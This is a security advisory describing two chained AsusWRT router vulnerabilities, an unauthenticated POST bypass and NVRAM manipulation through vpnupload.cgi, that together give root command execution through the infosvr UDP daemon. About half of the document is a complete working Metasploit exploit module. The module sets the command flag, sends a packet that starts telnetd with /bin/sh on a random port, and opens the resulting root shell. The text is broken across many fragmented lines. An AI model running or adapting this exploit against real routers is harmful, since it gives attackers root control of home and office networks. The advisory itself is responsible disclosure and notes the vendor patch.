Vulnerabilities Summary
The following advisory describes two (
2
) vulnerabilities found
in
AsusWRT Version
3
.
0
.
0
.
4
.
380
.
7743
. The combination of the vulnerabilities leads to
LAN
remote command execution on any Asus router.
AsusWRT is “
THE
POWERFUL
USER
-
FRIENDLY
INTERFACE
– The enhanced
ASUSWRT
graphical user interface gives you easy access to the
30
-second,
3
-step web-based installation process. It’s also where you can configure AiCloud
2
.
0
and
all advanced options.
ASUSWRT
is web-based, so it doesn’t need a separate app,
or
restrict what you can change via mobile devices — you get full access to everything, from any device that can run a web browser”
The vulnerabilities found are:
Access bypass
Configuration manipulation
Credit
An independent security researcher, Pedro Ribeiro (pedrib_at_gmail.com), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Asus were informed of the vulnerabilities
and
released patches to address them (version
3
.
0
.
0
.
4
.
384_10007
).
Vulnerabilities details
The AsusWRT handle_request() code allows an unauthenticated user to perform a
POST
request
for
certain actions.
AsusWRT_source/router/httpd/httpd.c:
handle_request(void)
{
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
if
(auth_result !=
0
) <--- auth fails
{
if
(strcasecmp(method,
"post"
) ==
0
){
if
(handler->input) {
handler->input(file, conn_fp, cl, boundary); <--- but
POST
request is still processed
}
send_login_page(fromapp, auth_result,
NULL
,
NULL
,
0
);
}
//
if
(!fromapp) http_logout(login_ip_tmp, cookies);
return
;
}
...
}
By POSTing to vpnupload.cgi, we invoke do_vpnupload_post(), which sets
NVRAM
configuration values directly from the request.
AsusWRT_source/router/httpd/web.c:
do_vpnupload_post(char *url,
FILE
*stream, int len, char *boundary)
{
...
if
(!strncasecmp(post_buf,
"Content-Disposition:"
,
20
)) {
if
(strstr(post_buf,
"name=\"file\""
))
break
;
else
if
(strstr(post_buf,
"name=\""
)) {
offset = strlen(post_buf);
fgets(post_buf+offset,
MIN
(len +
1
, sizeof(post_buf)-offset), stream);
len -= strlen(post_buf) - offset;
offset = strlen(post_buf);
fgets(post_buf+offset,
MIN
(len +
1
, sizeof(post_buf)-offset), stream);
len -= strlen(post_buf) - offset;
p = post_buf;
name = strstr(p,
"\""
) +
1
;
p = strstr(name,
"\""
);
strcpy(p++,
"\0"
);
value = strstr(p,
"\r\n\r\n"
) +
4
;
p = strstr(value,
"\r"
);
strcpy(p,
"\0"
);
//printf(
"%s=%s\n"
, name, value);
nvram_set(name, value);
}
}
...
}
An attacker can trigger the vulnerabilities
and
reset the admin password.
Once that is done, the attacker can login to the web interface with the
new
password, enable
SSH
, reboot the router
and
login via
SSH
.
Another option is to abuse infosvr, which is a
UDP
daemon running on port
9999
.
The daemon has a command mode which is only enabled
if
ateCommand_flag is set to
1
.
This flag is only enabled
in
very special cases, but we can enable it using the
VPN
configuration upload technique described above.
Once that is done, all we need to
do
is send a
PKT_SYSCMD
to infosvr.
The daemon will read a command from the packet
and
execute it as root.
Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
typedef struct iboxPKTEx
{
BYTE
ServiceID;
BYTE
PacketType;
WORD
OpCode;
DWORD
Info; // Or Transaction
ID
BYTE
MacAddress[
6
];
BYTE
Password[
32
]; //
NULL
terminated string, string length:
1
~
31
, cannot be
NULL
string
} ibox_comm_pkt_hdr_ex;
- Body
typedef struct iboxPKTCmd
{
WORD
len;
BYTE
cmd[
420
];
}
PKT_SYSCMD
; // total
422
bytes
-------------------------------------------------------------------------
EXPLOIT
:
-------------------------------------------------------------------------
require
'msf/core'
class
MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'AsusWRT LAN Unauthenticated Remote Code Execution'
,
'Description'
=> %q{
The
HTTP
server
in
AsusWRT has a flaw where it allows an unauthenticated client to
perform a
POST
in
certain cases. This can be combined with another vulnerability
in
the
VPN
configuration upload routine that sets
NVRAM
configuration variables directly
from the
POST
request to enable a special command mode.
This command mode can
then
be abused by sending a
UDP
packet to infosvr, which is running
on port
UDP
9999
to directly execute commands as root.
This exploit leverages that to start telnetd
in
a random port,
and
then
connects to it.
It has been tested with the
RT
-
AC68U
running AsusWRT Version
3
.
0
.
0
.
4
.
380
.
7743
.
},
'Author'
=>
[
'Beyond Security'
# Vulnerability discovery and Metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'add later'
],
[
'Add'
,
'links'
]
],
'Targets'
=>
[
[
'AsusWRT < (add fixed version later)'
,
{
'Payload'
=>
{
'Compat'
=> {
'PayloadType'
=>
'cmd_interact'
,
'ConnectionType'
=>
'find'
,
},
},
}
],
],
'Privileged'
=>
true
,
'Platform'
=>
'unix'
,
'Arch'
=>
ARCH_CMD
,
'DefaultOptions'
=> {
'PAYLOAD'
=>
'cmd/unix/interact'
},
'DisclosureDate'
=>
''
,
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
9999
)
])
register_advanced_options(
[
OptInt.
new
(
'ASUSWRTPORT'
, [
true
,
'AsusWRT HTTP portal port'
,
80
])
])
end
def
exploit
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
post_data = Rex::
MIME
::Message.
new
post_data.add_part(
'1'
, content_type =
nil
, transfer_encoding =
nil
, content_disposition =
"form-data; name=\"ateCommand_flag\""
)
data = post_data.to_s
res = send_request_cgi({
'uri'
=>
"/vpnupload.cgi"
,
'method'
=>
'POST'
,
'rport'
=> datastore[
'ASUSWRTPORT'
],
'data'
=> data,
'ctype'
=>
"multipart/form-data; boundary=#{post_data.bound}"
})
if
res
and
res.code ==
200
print_good(
"#{peer} - Successfully set the ateCommand_flag variable."
)
else
fail_with(Failure::Unknown,
"#{peer} - Failed to set ateCommand_flag variable."
)
end
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
info_pdu_size =
512
# expected packet size, not sure what the extra bytes are
r = Random.
new
ibox_comm_pkt_hdr_ex =
[0x0c].pack(
'C*'
) +
# NET_SERVICE_ID_IBOX_INFO 0xC
[0x15].pack(
'C*'
) +
# NET_PACKET_TYPE_CMD 0x15
[0x33,0x00].pack(
'C*'
) +
# NET_CMD_ID_MANU_CMD 0x33
r.bytes(
4
) +
# Info, don't know what this is
r.bytes(
6
) +
# MAC address
r.bytes(
32
)
# Password
telnet_port = rand((
2
**
16
)-
1024
)+
1024
cmd =
"/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}"
+ [0x00].pack(
'C*'
)
pkt_syscmd =
[cmd.length,0x00].pack(
'C*'
) +
# cmd length
cmd
# our command
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
connect_udp
udp_sock.put(pkt_final)
# we could process the response, but we don't care
disconnect_udp
print_status(
"#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}"
)
sleep(
10
)
begin
ctx = {
'Msf'
=> framework,
'MsfExploit'
=>
self
}
sock = Rex::Socket.create_tcp({
'PeerHost'
=> rhost,
'PeerPort'
=> telnet_port,
'Context'
=> ctx,
'Timeout'
=>
10
})
if
not
sock.
nil
?
print_good(
"#{peer} - Success, shell incoming!"
)
return
handler(sock)
end
rescue
Rex::AddressInUse, ::Errno::
ETIMEDOUT
, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close
if
sock
end
print_bad(
"#{peer} - Well that didn't work... try again?"
)
end
end